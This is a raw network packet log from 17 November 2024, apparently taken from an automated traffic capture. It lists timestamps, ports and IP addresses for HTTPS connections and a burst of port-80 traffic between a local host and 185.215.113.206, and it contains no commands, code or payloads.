Nov 17, 2024 10:07:41.103339911 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.127140999 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.132952929 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.132975101 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.133774996 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.133780956 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.136986971 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.137618065 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.137635946 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.138205051 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.138209105 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.190965891 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.191030979 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.191056967 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.191086054 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.196466923 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.196556091 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.196574926 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.196603060 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.196732044 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.196789980 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.196800947 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.196835995 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.196896076 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.201324940 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201339006 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201354980 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201390028 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201410055 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201428890 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201452971 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.201452971 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.201464891 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.201482058 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.201514959 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.203161001 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203183889 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203191042 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203207970 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203218937 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203228951 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203248024 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.203282118 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.203286886 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.203331947 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.210403919 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210417032 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210467100 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210469961 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.210489035 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210515976 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.210521936 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210537910 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.210577965 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.210587978 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211354971 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211369038 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211400986 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211429119 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211431980 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211442947 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211457968 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211486101 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211486101 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211760998 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211770058 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211793900 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211805105 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211816072 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211857080 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211857080 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211857080 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.211877108 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211893082 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.211918116 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.218317032 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218326092 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218347073 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218353987 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218358994 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218377113 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218430996 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.218452930 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.218482018 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.219084024 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.219104052 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.219140053 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.219192982 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.219199896 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.219355106 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.219383955 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.219444990 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.222481966 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.222497940 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.224070072 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.224080086 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.225033045 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.225039005 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.259680033 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.259757996 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.259870052 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.263372898 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.265829086 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.267947912 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.268018961 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.268136978 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.268316031 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.273933887 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.273940086 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.278599977 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.279333115 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.279382944 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.288852930 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.289498091 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.296788931 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.313760996 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:41.313787937 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:41.314053059 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:41.314229965 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:41.314244986 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:41.314732075 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.314766884 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.314925909 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.314945936 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.315376997 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.315382004 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.316451073 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.316457987 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.316648006 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.316648006 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.316662073 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.316673040 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.316888094 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.316888094 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.316912889 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.316926003 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.317581892 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317615986 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317665100 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317683935 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317702055 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.317702055 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.317719936 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317733049 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.317755938 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.317760944 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317856073 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.317948103 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.322259903 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.322318077 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.322432995 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.322468042 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.324101925 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.324390888 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.324593067 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.325964928 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.325978994 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.326025963 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.326035976 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.326061964 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.326100111 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.326117992 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.326210976 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.326829910 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.326838017 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327207088 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327214956 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327260017 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327264071 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.327275991 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327310085 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.327322960 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327362061 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.327888966 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327951908 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.327955961 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.328001976 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.329132080 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329160929 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329169035 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329191923 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329200029 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329219103 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.329231024 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329257011 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.329257011 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.329268932 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.329477072 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.334934950 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.334949017 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.335349083 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.335357904 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.335391998 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.335422039 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.335431099 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.335432053 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.335552931 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.335552931 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.335702896 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.335706949 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.336519957 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.336535931 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.339359045 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.339395046 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.351964951 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.351999998 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.352109909 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.353050947 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:41.353071928 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:41.363981962 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.364034891 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.364123106 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.364131927 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.364202023 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.364264965 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.368707895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368721008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368768930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368781090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368784904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368792057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368804932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368817091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368838072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368850946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368851900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368851900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368861914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368875027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368886948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368886948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368886948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368907928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368918896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368918896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368931055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368940115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368942976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368956089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368959904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368979931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368993998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.368997097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.368998051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369014978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369024038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369026899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369038105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369040012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369050026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369055986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369075060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369081974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369087934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369100094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369102001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369112015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369124889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369154930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369314909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369357109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369359016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369369030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369383097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369398117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369410038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369410038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369421959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369431973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369453907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369478941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369482994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369497061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369508028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369518042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369529009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369545937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369568110 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369697094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369709015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369719982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369728088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369739056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369750023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369759083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369780064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369784117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369784117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369795084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369805098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369829893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369837046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369837046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369837046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369842052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369853973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369868040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369868040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369872093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369885921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369887114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369896889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369911909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369911909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369911909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369924068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369935989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369936943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369946957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369959116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369961023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.369971037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.369981050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370006084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370026112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370332003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370343924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370354891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370364904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370377064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370390892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370394945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370407104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370418072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370419025 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370429993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370440006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370441914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370454073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370460033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370474100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370482922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370486975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370500088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370500088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.370512009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370517015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370527029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370533943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.370538950 CET	80	49892	185.215.113.206	192.168.2.6
